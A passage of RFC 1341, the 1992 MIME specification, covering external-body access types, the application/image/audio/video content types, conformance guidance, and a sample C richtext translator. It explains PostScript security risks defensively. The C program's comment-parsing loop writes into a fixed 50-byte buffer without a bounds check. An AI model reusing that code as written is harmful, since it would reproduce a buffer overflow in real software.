for the + encapsulated message. If another pair of consecutive CRLFs + appears, this of course ends the message header for the + encapsulated message. However, since the encapsulated + message's body is itself external, it does NOT appear in the + area that follows. For example, consider the following + message: + + Content-type: message/external-body; access- + type=local-file; + name=/u/nsb/Me.gif + + Content-type: image/gif + + THIS IS NOT REALLY THE BODY! + + The area at the end, which might be called the "phantom + body", is ignored for most external-body messages. However, + it may be used to contain auxilliary information for some + + + + Borenstein & Freed [Page 40] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + such messages, as indeed it is when the access-type is + "mail-server". Of the access-types defined by this + document, the phantom body is used only when the access-type + is "mail-server". In all other cases, the phantom body is + ignored. + + The only always-mandatory parameter for message/external- + body is "access-type"; all of the other parameters may be + mandatory or optional depending on the value of access-type. + + ACCESS-TYPE -- One or more case-insensitive words, + comma-separated, indicating supported access + mechanisms by which the file or data may be + obtained. Values include, but are not limited to, + "FTP", "ANON-FTP", "TFTP", "AFS", "LOCAL-FILE", + and "MAIL-SERVER". Future values, except for + experimental values beginning with "X-", must be + registered with IANA, as described in Appendix F . + + In addition, the following two parameters are optional for + ALL access-types: + + EXPIRATION -- The date (in the RFC 822 "date-time" + syntax, as extended by RFC 1123 to permit 4 digits + in the date field) after which the existence of + the external data is not guaranteed. + + SIZE -- The size (in octets) of the data. The + intent of this parameter is to help the recipient + decide whether or not to expend the necessary + resources to retrieve the external data. + + PERMISSION -- A field that indicates whether or + not it is expected that clients might also attempt + to overwrite the data. By default, or if + permission is "read", the assumption is that they + are not, and that if the data is retrieved once, + it is never needed again. If PERMISSION is "read- + write", this assumption is invalid, and any local + copy must be considered no more than a cache. + "Read" and "Read-write" are the only defined + values of permission. + + The precise semantics of the access-types defined here are + described in the sections that follow. + + 7.3.3.1 The "ftp" and "tftp" access-types + + An access-type of FTP or TFTP indicates that the message + body is accessible as a file using the FTP [RFC-959] or TFTP + [RFC-783] protocols, respectively. For these access-types, + the following additional parameters are mandatory: + + + + + + Borenstein & Freed [Page 41] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + NAME -- The name of the file that contains the + actual body data. + + SITE -- A machine from which the file may be + obtained, using the given protocol + + Before the data is retrieved, using these protocols, the + user will generally need to be asked to provide a login id + and a password for the machine named by the site parameter. + + In addition, the following optional parameters may also + appear when the access-type is FTP or ANON-FTP: + + DIRECTORY -- A directory from which the data named + by NAME should be retrieved. + + MODE -- A transfer mode for retrieving the + information, e.g. "image". + + 7.3.3.2 The "anon-ftp" access-type + + The "anon-ftp" access-type is identical to the "ftp" access + type, except that the user need not be asked to provide a + name and password for the specified site. Instead, the ftp + protocol will be used with login "anonymous" and a password + that corresponds to the user's email address. + + 7.3.3.3 The "local-file" and "afs" access-types + + An access-type of "local-file" indicates that the actual + body is accessible as a file on the local machine. An + access-type of "afs" indicates that the file is accessible + via the global AFS file system. In both cases, only a + single parameter is required: + + NAME -- The name of the file that contains the + actual body data. + + The following optional parameter may be used to describe the + locality of reference for the data, that is, the site or + sites at which the file is expected to be visible: + + SITE -- A domain specifier for a machine or set of + machines that are known to have access to the data + file. Asterisks may be used for wildcard matching + to a part of a domain name, such as + "*.bellcore.com", to indicate a set of machines on + which the data should be directly visible, while a + single asterisk may be used to indicate a file + that is expected to be universally available, + e.g., via a global file system. + + 7.3.3.4 The "mail-server" access-type + + + + + Borenstein & Freed [Page 42] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + The "mail-server" access-type indicates that the actual body + is available from a mail server. The mandatory parameter + for this access-type is: + + SERVER -- The email address of the mail server + from which the actual body data can be obtained. + + Because mail servers accept a variety of syntax, some of + which is multiline, the full command to be sent to a mail + server is not included as a parameter on the content-type + line. Instead, it may be provided as the "phantom body" + when the content-type is message/external-body and the + access-type is mail-server. + + Note that MIME does not define a mail server syntax. + Rather, it allows the inclusion of arbitrary mail server + commands in the phantom body. Implementations should + include the phantom body in the body of the message it sends + to the mail server address to retrieve the relevant data. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 43] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.3.3.5 Examples and Further Explanations + + With the emerging possibility of very wide-area file + systems, it becomes very hard to know in advance the set of + machines where a file will and will not be accessible + directly from the file system. Therefore it may make sense + to provide both a file name, to be tried directly, and the + name of one or more sites from which the file is known to be + accessible. An implementation can try to retrieve remote + files using FTP or any other protocol, using anonymous file + retrieval or prompting the user for the necessary name and + password. If an external body is accessible via multiple + mechanisms, the sender may include multiple parts of type + message/external-body within an entity of type + multipart/alternative. + + However, the external-body mechanism is not intended to be + limited to file retrieval, as shown by the mail-server + access-type. Beyond this, one can imagine, for example, + using a video server for external references to video clips. + + If an entity is of type "message/external-body", then the + body of the entity will contain the header fields of the + encapsulated message. The body itself is to be found in the + external location. This means that if the body of the + "message/external-body" message contains two consecutive + CRLFs, everything after those pairs is NOT part of the + message itself. For most message/external-body messages, + this trailing area must simply be ignored. However, it is a + convenient place for additional data that cannot be included + in the content-type header field. In particular, if the + "access-type" value is "mail-server", then the trailing area + must contain commands to be sent to the mail server at the + address given by NAME@SITE, where NAME and SITE are the + values of the NAME and SITE parameters, respectively. + + The embedded message header fields which appear in the body + of the message/external-body data can be used to declare the + Content-type of the external body. Thus a complete + message/external-body message, referring to a document in + PostScript format, might look like this: + + From: Whomever + Subject: whatever + MIME-Version: 1.0 + Message-ID: id1@host.com + Content-Type: multipart/alternative; boundary=42 + + + --42 + Content-Type: message/external-body; + name="BodyFormats.ps"; + + + + + + Borenstein & Freed [Page 44] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + site="thumper.bellcore.com"; + access-type=ANON-FTP; + directory="pub"; + mode="image"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + + --42 + Content-Type: message/external-body; + name="/u/nsb/writing/rfcs/RFC-XXXX.ps"; + site="thumper.bellcore.com"; + access-type=AFS + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + + --42 + Content-Type: message/external-body; + access-type=mail-server + server="listserv@bogus.bitnet"; + expiration="Fri, 14 Jun 1991 19:13:14 -0400 (EDT)" + + Content-type: application/postscript + + get rfc-xxxx doc + + --42-- + + Like the message/partial type, the message/external-body + type is intended to be transparent, that is, to convey the + data type in the external body rather than to convey a + message with a body of that type. Thus the headers on the + outer and inner parts must be merged using the same rules as + for message/partial. In particular, this means that the + Content-type header is overridden, but the From and Subject + headers are preserved. + + Note that since the external bodies are not transported as + mail, they need not conform to the 7-bit and line length + requirements, but might in fact be binary files. Thus a + Content-Transfer-Encoding is not generally necessary, though + it is permitted. + + Note that the body of a message of type "message/external- + body" is governed by the basic syntax for an RFC 822 + message. In particular, anything before the first + consecutive pair of CRLFs is header information, while + anything after it is body information, which is ignored for + most access-types. + + + + + + + + Borenstein & Freed [Page 45] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.4 The Application Content-Type + + The "application" Content-Type is to be used for data which + do not fit in any of the other categories, and particularly + for data to be processed by mail-based uses of application + programs. This is information which must be processed by an + application before it is viewable or usable to a user. + Expected uses for Content-Type application include mail- + based file transfer, spreadsheets, data for mail-based + scheduling systems, and languages for "active" + (computational) email. (The latter, in particular, can pose + security problems which should be understood by + implementors, and are considered in detail in the discussion + of the application/PostScript content-type.) + + For example, a meeting scheduler might define a standard + representation for information about proposed meeting dates. + An intelligent user agent would use this information to + conduct a dialog with the user, and might then send further + mail based on that dialog. More generally, there have been + several "active" messaging languages developed in which + programs in a suitably specialized language are sent through + the mail and automatically run in the recipient's + environment. + + Such applications may be defined as subtypes of the + "application" Content-Type. This document defines three + subtypes: octet-stream, ODA, and PostScript. + + In general, the subtype of application will often be the + name of the application for which the data are intended. + This does not mean, however, that any application program + name may be used freely as a subtype of application. Such + usages must be registered with IANA, as described in + Appendix F. + + 7.4.1 The Application/Octet-Stream (primary) subtype + + The primary subtype of application, "octet-stream", may be + used to indicate that a body contains binary data. The set + of possible parameters includes, but is not limited to: + + NAME -- a suggested name for the binary data if + stored as a file. + + TYPE -- the general type or category of binary + data. This is intended as information for the + human recipient rather than for any automatic + processing. + + CONVERSIONS -- the set of operations that have + been performed on the data before putting it in + the mail (and before any Content-Transfer-Encoding + that might have been applied). If multiple + + + + Borenstein & Freed [Page 46] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + conversions have occurred, they must be separated + by commas and specified in the order they were + applied -- that is, the leftmost conversion must + have occurred first, and conversions are undone + from right to left. Note that NO conversion + values are defined by this document. Any + conversion values that that do not begin with "X-" + must be preceded by a published specification and + by registration with IANA, as described in + Appendix F. + + PADDING -- the number of bits of padding that were + appended to the bitstream comprising the actual + contents to produce the enclosed byte-oriented + data. This is useful for enclosing a bitstream in + a body when the total number of bits is not a + multiple of the byte size. + + The values for these attributes are left undefined at + present, but may require specification in the future. An + example of a common (though UNIX-specific) usage might be: + + Content-Type: application/octet-stream; + name=foo.tar.Z; type=tar; + conversions="x-encrypt,x-compress" + + However, it should be noted that the use of such conversions + is explicitly discouraged due to a lack of portability and + standardization. The use of uuencode is particularly + discouraged, in favor of the Content-Transfer-Encoding + mechanism, which is both more standardized and more portable + across mail boundaries. + + The recommended action for an implementation that receives + application/octet-stream mail is to simply offer to put the + data in a file, with any Content-Transfer-Encoding undone, + or perhaps to use it as input to a user-specified process. + + To reduce the danger of transmitting rogue programs through + the mail, it is strongly recommended that implementations + NOT implement a path-search mechanism whereby an arbitrary + program named in the Content-Type parameter (e.g., an + "interpreter=" parameter) is found and executed using the + mail body as input. + + 7.4.2 The Application/PostScript subtype + + A Content-Type of "application/postscript" indicates a + PostScript program. The language is defined in + [POSTSCRIPT]. It is recommended that Postscript as sent + through email should use Postscript document structuring + conventions if at all possible, and correctly. + + + + + + Borenstein & Freed [Page 47] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + The execution of general-purpose PostScript interpreters + entails serious security risks, and implementors are + discouraged from simply sending PostScript email bodies to + "off-the-shelf" interpreters. While it is usually safe to + send PostScript to a printer, where the potential for harm + is greatly constrained, implementors should consider all of + the following before they add interactive display of + PostScript bodies to their mail readers. + + The remainder of this section outlines some, though probably + not all, of the possible problems with sending PostScript + through the mail. + + Dangerous operations in the PostScript language include, but + may not be limited to, the PostScript operators deletefile, + renamefile, filenameforall, and file. File is only + dangerous when applied to something other than standard + input or output. Implementations may also define additional + nonstandard file operators; these may also pose a threat to + security. Filenameforall, the wildcard file search + operator, may appear at first glance to be harmless. Note, + however, that this operator has the potential to reveal + information about what files the recipient has access to, + and this information may itself be sensitive. Message + senders should avoid the use of potentially dangerous file + operators, since these operators are quite likely to be + unavailable in secure PostScript implementations. Message- + receiving and -displaying software should either completely + disable all potentially dangerous file operators or take + special care not to delegate any special authority to their + operation. These operators should be viewed as being done by + an outside agency when interpreting PostScript documents. + Such disabling and/or checking should be done completely + outside of the reach of the PostScript language itself; care + should be taken to insure that no method exists for + reenabling full-function versions of these operators. + + The PostScript language provides facilities for exiting the + normal interpreter, or server, loop. Changes made in this + "outer" environment are customarily retained across + documents, and may in some cases be retained semipermanently + in nonvolatile memory. The operators associated with exiting + the interpreter loop have the potential to interfere with + subsequent document processing. As such, their unrestrained + use constitutes a threat of service denial. PostScript + operators that exit the interpreter loop include, but may + not be limited to, the exitserver and startjob operators. + Message-sending software should not generate PostScript that + depends on exiting the interpreter loop to operate. The + ability to exit will probably be unavailable in secure + PostScript implementations. Message-receiving and + -displaying software should, if possible, disable the + ability to make retained changes to the PostScript + environment. Eliminate the startjob and exitserver commands. + + + + Borenstein & Freed [Page 48] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + If these commands cannot be eliminated, at least set the + password associated with them to a hard-to-guess value. + + PostScript provides operators for setting system-wide and + device-specific parameters. These parameter settings may be + retained across jobs and may potentially pose a threat to + the correct operation of the interpreter. The PostScript + operators that set system and device parameters include, but + may not be limited to, the setsystemparams and setdevparams + operators. Message-sending software should not generate + PostScript that depends on the setting of system or device + parameters to operate correctly. The ability to set these + parameters will probably be unavailable in secure PostScript + implementations. Message-receiving and -displaying software + should, if possible, disable the ability to change system + and device parameters. If these operators cannot be + disabled, at least set the password associated with them to + a hard-to-guess value. + + Some PostScript implementations provide nonstandard + facilities for the direct loading and execution of machine + code. Such facilities are quite obviously open to + substantial abuse. Message-sending software should not + make use of such features. Besides being totally hardware- + specific, they are also likely to be unavailable in secure + implementations of PostScript. Message-receiving and + -displaying software should not allow such operators to be + used if they exist. + + PostScript is an extensible language, and many, if not most, + implementations of it provide a number of their own + extensions. This document does not deal with such extensions + explicitly since they constitute an unknown factor. + Message-sending software should not make use of nonstandard + extensions; they are likely to be missing from some + implementations. Message-receiving and -displaying software + should make sure that any nonstandard PostScript operators + are secure and don't present any kind of threat. + + It is possible to write PostScript that consumes huge + amounts of various system resources. It is also possible to + write PostScript programs that loop infinitely. Both types + of programs have the potential to cause damage if sent to + unsuspecting recipients. Message-sending software should + avoid the construction and dissemination of such programs, + which is antisocial. Message-receiving and -displaying + software should provide appropriate mechanisms to abort + processing of a document after a reasonable amount of time + has elapsed. In addition, PostScript interpreters should be + limited to the consumption of only a reasonable amount of + any given system resource. + + Finally, bugs may exist in some PostScript interpreters + which could possibly be exploited to gain unauthorized + + + + Borenstein & Freed [Page 49] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + access to a recipient's system. Apart from noting this + possibility, there is no specific action to take to prevent + this, apart from the timely correction of such bugs if any + are found. + + 7.4.3 The Application/ODA subtype + + The "ODA" subtype of application is used to indicate that a + body contains information encoded according to the Office + Document Architecture [ODA] standards, using the ODIF + representation format. For application/oda, the Content- + Type line should also specify an attribute/value pair that + indicates the document application profile (DAP), using the + key word "profile". Thus an appropriate header field might + look like this: + + Content-Type: application/oda; profile=Q112 + + Consult the ODA standard [ODA] for further information. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 50] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.5 The Image Content-Type + + A Content-Type of "image" indicates that the bodycontains an + image. The subtype names the specific image format. These + names are case insensitive. Two initial subtypes are "jpeg" + for the JPEG format, JFIF encoding, and "gif" for GIF format + [GIF]. + + The list of image subtypes given here is neither exclusive + nor exhaustive, and is expected to grow as more types are + registered with IANA, as described in Appendix F. + + 7.6 The Audio Content-Type + + A Content-Type of "audio" indicates that the body contains + audio data. Although there is not yet a consensus on an + "ideal" audio format for use with computers, there is a + pressing need for a format capable of providing + interoperable behavior. + + The initial subtype of "basic" is specified to meet this + requirement by providing an absolutely minimal lowest common + denominator audio format. It is expected that richer + formats for higher quality and/or lower bandwidth audio will + be defined by a later document. + + The content of the "audio/basic" subtype is audio encoded + using 8-bit ISDN u-law [PCM]. When this subtype is present, + a sample rate of 8000 Hz and a single channel is assumed. + + 7.7 The Video Content-Type + + A Content-Type of "video" indicates that the body contains a + time-varying-picture image, possibly with color and + coordinated sound. The term "video" is used extremely + generically, rather than with reference to any particular + technology or format, and is not meant to preclude subtypes + such as animated drawings encoded compactly. The subtype + "mpeg" refers to video coded according to the MPEG standard + [MPEG]. + + Note that although in general this document strongly + discourages the mixing of multiple media in a single body, + it is recognized that many so-called "video" formats include + a representation for synchronized audio, and this is + explicitly permitted for subtypes of "video". + + 7.8 Experimental Content-Type Values + + A Content-Type value beginning with the characters "X-" is a + private value, to be used by consenting mail systems by + mutual agreement. Any format without a rigorous and public + definition must be named with an "X-" prefix, and publicly + specified values shall never begin with "X-". (Older + + + + Borenstein & Freed [Page 51] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + versions of the widely-used Andrew system use the "X-BE2" + name, so new systems should probably choose a different + name.) + + In general, the use of "X-" top-level types is strongly + discouraged. Implementors should invent subtypes of the + existing types whenever possible. The invention of new + types is intended to be restricted primarily to the + development of new media types for email, such as digital + odors or holography, and not for new data formats in + general. In many cases, a subtype of application will be + more appropriate than a new top-level type. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 52] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Summary + + Using the MIME-Version, Content-Type, and Content-Transfer- + Encoding header fields, it is possible to include, in a + standardized way, arbitrary types of data objects with RFC + 822 conformant mail messages. No restrictions imposed by + either RFC 821 or RFC 822 are violated, and care has been + taken to avoid problems caused by additional restrictions + imposed by the characteristics of some Internet mail + transport mechanisms (see Appendix B). The "multipart" and + "message" Content-Types allow mixing and hierarchical + structuring of objects of different types in a single + message. Further Content-Types provide a standardized + mechanism for tagging messages or body parts as audio, + image, or several other kinds of data. A distinguished + parameter syntax allows further specification of data format + details, particularly the specification of alternate + character sets. Additional optional header fields provide + mechanisms for certain extensions deemed desirable by many + implementors. Finally, a number of useful Content-Types are + defined for general use by consenting user agents, notably + text/richtext, message/partial, and message/external-body. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 53] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Acknowledgements + + This document is the result of the collective effort of a + large number of people, at several IETF meetings, on the + IETF-SMTP and IETF-822 mailing lists, and elsewhere. + Although any enumeration seems doomed to suffer from + egregious omissions, the following are among the many + contributors to this effort: + + Harald Tveit Alvestrand Timo Lehtinen + Randall Atkinson John R. MacMillan + Philippe Brandon Rick McGowan + Kevin Carosso Leo Mclaughlin + Uhhyung Choi Goli Montaser-Kohsari + Cristian Constantinof Keith Moore + Mark Crispin Tom Moore + Dave Crocker Erik Naggum + Terry Crowley Mark Needleman + Walt Daniels John Noerenberg + Frank Dawson Mats Ohrman + Hitoshi Doi Julian Onions + Kevin Donnelly Michael Patton + Keith Edwards David J. Pepper + Chris Eich Blake C. Ramsdell + Johnny Eriksson Luc Rooijakkers + Craig Everhart Marshall T. Rose + Patrik Faeltstroem Jonathan Rosenberg + Erik E. Fair Jan Rynning + Roger Fajman Harri Salminen + Alain Fontaine Michael Sanderson + James M. Galvin Masahiro Sekiguchi + Philip Gladstone Mark Sherman + Thomas Gordon Keld Simonsen + Phill Gross Bob Smart + James Hamilton Peter Speck + Steve Hardcastle-Kille Henry Spencer + David Herron Einar Stefferud + Bruce Howard Michael Stein + Bill Janssen Klaus Steinberger + Olle Jaernefors Peter Svanberg + Risto Kankkunen James Thompson + Phil Karn Steve Uhler + Alan Katz Stuart Vance + Tim Kehres Erik van der Poel + Neil Katin Guido van Rossum + Kyuho Kim Peter Vanderbilt + Anders Klemets Greg Vaudreuil + John Klensin Ed Vielmetti + Valdis Kletniek Ryan Waldron + Jim Knowles Wally Wedel + Stev Knowles Sven-Ove Westberg + Bob Kummerfeld Brian Wideen + + + + + + Borenstein & Freed [Page 54] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Pekka Kytolaakso John Wobus + Stellan Lagerstr.m Glenn Wright + Vincent Lau Rayan Zachariassen + Donald Lindsay David Zimmerman + The authors apologize for any omissions from this list, + which are certainly unintentional. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 55] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix A -- Minimal MIME-Conformance + + The mechanisms described in this document are open-ended. + It is definitely not expected that all implementations will + support all of the Content-Types described, nor that they + will all share the same extensions. In order to promote + interoperability, however, it is useful to define the + concept of "MIME-conformance" to define a certain level of + implementation that allows the useful interworking of + messages with content that differs from US ASCII text. In + this section, we specify the requirements for such + conformance. + + A mail user agent that is MIME-conformant MUST: + + 1. Always generate a "MIME-Version: 1.0" header + field. + + 2. Recognize the Content-Transfer-Encoding header + field, and decode all received data encoded with + either the quoted-printable or base64 + implementations. Encode any data sent that is + not in seven-bit mail-ready representation using + one of these transformations and include the + appropriate Content-Transfer-Encoding header + field, unless the underlying transport mechanism + supports non-seven-bit data, as SMTP does not. + + 3. Recognize and interpret the Content-Type + header field, and avoid showing users raw data + with a Content-Type field other than text. Be + able to send at least text/plain messages, with + the character set specified as a parameter if it + is not US-ASCII. + + 4. Explicitly handle the following Content-Type + values, to at least the following extents: + + Text: + -- Recognize and display "text" mail + with the character set "US-ASCII." + -- Recognize other character sets at + least to the extent of being able + to inform the user about what + character set the message uses. + -- Recognize the "ISO-8859-*" character + sets to the extent of being able to + display those characters that are + common to ISO-8859-* and US-ASCII, + namely all characters represented + by octet values 0-127. + -- For unrecognized subtypes, show or + offer to show the user the "raw" + version of the data. An ability at + + + + Borenstein & Freed [Page 56] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + least to convert "text/richtext" to + plain text, as shown in Appendix D, + is encouraged, but not required for + conformance. + Message: + --Recognize and display at least the + primary (822) encapsulation. + Multipart: + -- Recognize the primary (mixed) + subtype. Display all relevant + information on the message level + and the body part header level and + then display or offer to display + each of the body parts + individually. + -- Recognize the "alternative" subtype, + and avoid showing the user + redundant parts of + multipart/alternative mail. + -- Treat any unrecognized subtypes as if + they were "mixed". + Application: + -- Offer the ability to remove either of + the two types of Content-Transfer- + Encoding defined in this document + and put the resulting information + in a user file. + + 5. Upon encountering any unrecognized Content- + Type, an implementation must treat it as if it had + a Content-Type of "application/octet-stream" with + no parameter sub-arguments. How such data are + handled is up to an implementation, but likely + options for handling such unrecognized data + include offering the user to write it into a file + (decoded from its mail transport format) or + offering the user to name a program to which the + decoded data should be passed as input. + Unrecognized predefined types, which in a MIME- + conformant mailer might still include audio, + image, or video, should also be treated in this + way. + + A user agent that meets the above conditions is said to be + MIME-conformant. The meaning of this phrase is that it is + assumed to be "safe" to send virtually any kind of + properly-marked data to users of such mail systems, because + such systems will at least be able to treat the data as + undifferentiated binary, and will not simply splash it onto + the screen of unsuspecting users. There is another sense + in which it is always "safe" to send data in a format that + is MIME-conformant, which is that such data will not break + or be broken by any known systems that are conformant with + RFC 821 and RFC 822. User agents that are MIME-conformant + + + + Borenstein & Freed [Page 57] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + have the additional guarantee that the user will not be + shown data that were never intended to be viewed as text. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 58] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix B -- General Guidelines For Sending Email Data + + Internet email is not a perfect, homogeneous system. Mail + may become corrupted at several stages in its travel to a + final destination. Specifically, email sent throughout the + Internet may travel across many networking technologies. + Many networking and mail technologies do not support the + full functionality possible in the SMTP transport + environment. Mail traversing these systems is likely to be + modified in such a way that it can be transported. + + There exist many widely-deployed non-conformant MTAs in the + Internet. These MTAs, speaking the SMTP protocol, alter + messages on the fly to take advantage of the internal data + structure of the hosts they are implemented on, or are just + plain broken. + + The following guidelines may be useful to anyone devising a + data format (Content-Type) that will survive the widest + range of networking technologies and known broken MTAs + unscathed. Note that anything encoded in the base64 + encoding will satisfy these rules, but that some well-known + mechanisms, notably the UNIX uuencode facility, will not. + Note also that anything encoded in the Quoted-Printable + encoding will survive most gateways intact, but possibly not + some gateways to systems that use the EBCDIC character set. + + (1) Under some circumstances the encoding used for + data may change as part of normal gateway or user + agent operation. In particular, conversion from + base64 to quoted-printable and vice versa may be + necessary. This may result in the confusion of + CRLF sequences with line breaks in text body + parts. As such, the persistence of CRLF as + something other than a line break should not be + relied on. + + (2) Many systems may elect to represent and store + text data using local newline conventions. Local + newline conventions may not match the RFC822 CRLF + convention -- systems are known that use plain CR, + plain LF, CRLF, or counted records. The result is + that isolated CR and LF characters are not well + tolerated in general; they may be lost or + converted to delimiters on some systems, and hence + should not be relied on. + + (3) TAB (HT) characters may be misinterpreted or + may be automatically converted to variable numbers + of spaces. This is unavoidable in some + environments, notably those not based on the ASCII + character set. Such conversion is STRONGLY + DISCOURAGED, but it may occur, and mail formats + should not rely on the persistence of TAB (HT) + + + + Borenstein & Freed [Page 59] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + characters. + + (4) Lines longer than 76 characters may be wrapped + or truncated in some environments. Line wrapping + and line truncation are STRONGLY DISCOURAGED, but + unavoidable in some cases. Applications which + require long lines should somehow differentiate + between soft and hard line breaks. (A simple way + to do this is to use the quoted-printable + encoding.) + + (5) Trailing "white space" characters (SPACE, TAB + (HT)) on a line may be discarded by some transport + agents, while other transport agents may pad lines + with these characters so that all lines in a mail + file are of equal length. The persistence of + trailing white space, therefore, should not be + relied on. + + (6) Many mail domains use variations on the ASCII + character set, or use character sets such as + EBCDIC which contain most but not all of the US- + ASCII characters. The correct translation of + characters not in the "invariant" set cannot be + depended on across character converting gateways. + For example, this situation is a problem when + sending uuencoded information across BITNET, an + EBCDIC system. Similar problems can occur without + crossing a gateway, since many Internet hosts use + character sets other than ASCII internally. The + definition of Printable Strings in X.400 adds + further restrictions in certain special cases. In + particular, the only characters that are known to + be consistent across all gateways are the 73 + characters that correspond to the upper and lower + case letters A-Z and a-z, the 10 digits 0-9, and + the following eleven special characters: + + "'" (ASCII code 39) + "(" (ASCII code 40) + ")" (ASCII code 41) + "+" (ASCII code 43) + "," (ASCII code 44) + "-" (ASCII code 45) + "." (ASCII code 46) + "/" (ASCII code 47) + ":" (ASCII code 58) + "=" (ASCII code 61) + "?" (ASCII code 63) + + A maximally portable mail representation, such as + the base64 encoding, will confine itself to + relatively short lines of text in which the only + meaningful characters are taken from this set of + + + + Borenstein & Freed [Page 60] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 73 characters. + + Please note that the above list is NOT a list of recommended + practices for MTAs. RFC 821 MTAs are prohibited from + altering the character of white space or wrapping long + lines. These BAD and illegal practices are known to occur + on established networks, and implementions should be robust + in dealing with the bad effects they can cause. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 61] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix C -- A Complex Multipart Example + + What follows is the outline of a complex multipart message. + This message has five parts to be displayed serially: two + introductory plain text parts, an embedded multipart + message, a richtext part, and a closing encapsulated text + message in a non-ASCII character set. The embedded + multipart message has two parts to be displayed in parallel, + a picture and an audio fragment. + + MIME-Version: 1.0 + From: Nathaniel Borenstein + Subject: A multipart example + Content-Type: multipart/mixed; + boundary=unique-boundary-1 + + This is the preamble area of a multipart message. + Mail readers that understand multipart format + should ignore this preamble. + If you are reading this text, you might want to + consider changing to a mail reader that understands + how to properly display multipart messages. + --unique-boundary-1 + + ...Some text appears here... + [Note that the preceding blank line means + no header fields were given and this is text, + with charset US ASCII. It could have been + done with explicit typing as in the next part.] + + --unique-boundary-1 + Content-type: text/plain; charset=US-ASCII + + This could have been part of the previous part, + but illustrates explicit versus implicit + typing of body parts. + + --unique-boundary-1 + Content-Type: multipart/parallel; + boundary=unique-boundary-2 + + + --unique-boundary-2 + Content-Type: audio/basic + Content-Transfer-Encoding: base64 + + ... base64-encoded 8000 Hz single-channel + u-law-format audio data goes here.... + + --unique-boundary-2 + Content-Type: image/gif + Content-Transfer-Encoding: Base64 + + + + + + Borenstein & Freed [Page 62] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + ... base64-encoded image data goes here.... + + --unique-boundary-2-- + + --unique-boundary-1 + Content-type: text/richtext + + This is richtext. + Isn't it + cool? + + --unique-boundary-1 + Content-Type: message/rfc822 + + From: (name in US-ASCII) + Subject: (subject in US-ASCII) + Content-Type: Text/plain; charset=ISO-8859-1 + Content-Transfer-Encoding: Quoted-printable + + ... Additional text in ISO-8859-1 goes here ... + + --unique-boundary-1-- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 63] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Appendix D -- A Simple Richtext-to-Text Translator in C + + One of the major goals in the design of the richtext subtype + of the text Content-Type is to make formatted text so simple + that even text-only mailers will implement richtext-to- + plain-text translators, thus increasing the likelihood that + multifont text will become "safe" to use very widely. To + demonstrate this simplicity, what follows is an extremely + simple 44-line C program that converts richtext input into + plain text output: + + #include + #include + main() { + int c, i; + char token[50]; + + while((c = getc(stdin)) != EOF) { + if (c == '<') { + for (i=0; (i<49 && (c = getc(stdin)) != '>' + && c != EOF); ++i) { + token[i] = isupper(c) ? tolower(c) : c; + } + if (c == EOF) break; + if (c != '>') while ((c = getc(stdin)) != + '>' + && c != EOF) {;} + if (c == EOF) break; + token[i] = '\0'; + if (!strcmp(token, "lt")) { + putc('<', stdout); + } else if (!strcmp(token, "nl")) { + putc('\n', stdout); + } else if (!strcmp(token, "/paragraph")) { + fputs("\n\n", stdout); + } else if (!strcmp(token, "comment")) { + int commct=1; + while (commct > 0) { + while ((c = getc(stdin)) != '<' + && c != EOF) ; + if (c == EOF) break; + for (i=0; (c = getc(stdin)) != '>' + && c != EOF; ++i) { + token[i] = isupper(c) ? + tolower(c) : c; + } + if (c== EOF) break; + token[i] = NULL; + if (!strcmp(token, "/comment")) -- + commct; + if (!strcmp(token, "comment")) + ++commct; + + + + + + Borenstein & Freed [Page 64] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + } + } /* Ignore all other tokens */ + } else if (c != '\n') putc(c, stdout); + } + putc('\n', stdout); /* for good measure */ + } + It should be 